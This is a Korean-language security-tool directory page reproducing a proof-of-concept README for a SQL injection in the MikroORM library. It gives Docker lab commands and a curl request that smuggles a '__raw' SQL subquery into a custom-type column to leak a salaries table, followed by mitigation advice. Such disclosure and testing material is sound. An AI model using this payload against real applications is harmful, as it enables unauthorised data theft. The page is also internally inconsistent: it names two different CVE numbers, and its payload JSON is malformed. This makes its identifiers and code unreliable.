Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34220 — MikroORM의 SQL 인젝션 취약점 | Kitploit
도구/GitHubGitHub/eqstlab/cve-2026-34220
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubeqstlab/cve-2026-34220

CVE-2026-34220

MikroORM의 SQL 인젝션 취약점

저장소 보기
191개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-43220 MikroORM SQL 인젝션

★ CVE-2026-43220 MikroORM SQL 인젝션 PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


개요

CVE-2026-43220은 널리 사용되는 TypeScript/Node.js ORM 프레임워크인 MikroORM의 SQL 인젝션 취약점입니다.
__raw 속성을 포함하는 사용자 제공 값이 검증 없이 Custom Type 컬럼에 전달되면, MikroORM의 isRaw() 검사가 이를 신뢰할 수 있는 내부 Raw SQL 표현식으로 식별하고, 공격자가 제어하는 sql 값을 타입 변환이나 정제 없이 생성된 쿼리에 직접 삽입하여 임의 SQL이 의도치 않게 실행되도록 합니다.


영향받는 버전

CategoryVersion
취약MikroORM version ≤ 6.4.3 & 7.0.0 ≤ version ≤ 7.0.5
패치됨MikroORM 6.4.4 & 7.0.6

영향

  • 권한 없이 데이터베이스에서 민감한 데이터 유출
  • 기존 데이터베이스 레코드의 손상 또는 의도치 않은 수정

환경

root@kitploit:~
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

취약한 환경을 시작한 후, 아래 단계에 따라 공격을 재현하세요.

Step 1. __raw를 포함한 악성 페이로드로 요청 전송

Custom Type 컬럼을 대상으로 하는 __raw 속성을 포함한 JSON 본문을 전송합니다.

root@kitploit:~
curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Step 2. HTTP 응답 확인

API가 오류 없이 성공적인 응답을 반환하는지 확인합니다. 이는 MikroORM이 악성 페이로드를 유효한 값으로 수락했음을 나타냅니다.

Step 3. 민감한 데이터가 게시물 내용에 유출되었는지 확인

생성된 게시물의 content 필드에 salaries 테이블의 쿼리 결과 (예: Alice: 5000 / Bob: 7000 / ...)가 포함되어 있는지 확인합니다. 이는 관련 없는 테이블의 데이터가 오류나 접근 제어 위반 없이 응답에 조용히 삽입되었음을 확인시켜 줍니다.


완화 방안

  • MikroORM 6.4.4 이상으로 업그레이드하세요. 이 버전은 isRaw()에 출처 검증을 도입하여 외부에서 제공된 __raw 속성을 거부합니다.
  • ORM 계층에 값을 전달하기 전에 __raw와 같은 예상치 못한 속성을 거부하는 화이트리스트 기반 입력 검증을 적용하세요.

분석

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-orm-injection-explained
  • EN: https://www.skshieldus.com/en/report?tab=eqst
도구 다운로드